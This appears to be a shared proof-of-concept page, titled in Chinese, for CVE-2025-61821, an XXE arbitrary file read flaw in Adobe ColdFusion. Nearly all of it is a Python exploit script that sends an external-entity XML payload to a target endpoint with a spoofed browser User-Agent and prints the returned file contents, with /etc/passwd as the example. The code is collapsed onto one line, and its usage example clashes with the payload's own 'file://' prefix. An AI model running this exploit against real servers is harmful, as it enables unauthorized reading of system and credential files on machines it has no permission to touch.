CVE-2025-61821 Adobe ColdFusion XXE任意文件读取漏洞

import requests import sys # CVE-2025-61821 XXE PoC for Adobe ColdFusion # Target: Adobe ColdFusion versions 2025.4, 2023.16, 2021.22 and earlier def exploit_xxe(target_url, file_to_read): """ Exploit XXE vulnerability to read arbitrary files from the server Args: target_url: URL of the vulnerable ColdFusion endpoint file_to_read: Path to the file to read (e.g., '/etc/passwd') Returns: Content of the read file or error message """ # XXE payload to read local files # Using file:// protocol to access local filesystem xxe_payload = f'''<?xml version="1.0" encoding="UTF-8"?> <!DOCTYPE root [ <!ENTITY xxe SYSTEM "file://{file_to_read}"> ]> <root> <data>&xxe;</data> </root>''' headers = { 'Content-Type': 'application/xml', 'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36' } try: print(f"[*] Sending XXE payload to {target_url}") print(f"[*] Attempting to read: {file_to_read}") response = requests.post(target_url, data=xxe_payload, headers=headers, timeout=30) if response.status_code == 200: print(f"[+] Request successful!") print(f"[+] Response length: {len(response.text)} bytes") print("\n[+] Response content:") print(response.text) return response.text else: print(f"[-] Request failed with status code: {response.status_code}") return None except requests.exceptions.RequestException as e: print(f"[-] Error: {e}") return None def main(): if len(sys.argv) < 3: print("Usage: python cve-2025-61821.py <target_url> <file_to_read>") print("Example: python cve-2025-61821.py http://target.com/api/xml file:///etc/passwd") sys.exit(1) target_url = sys.argv[1] file_to_read = sys.argv[2] exploit_xxe(target_url, file_to_read) if __name__ == "__main__": main()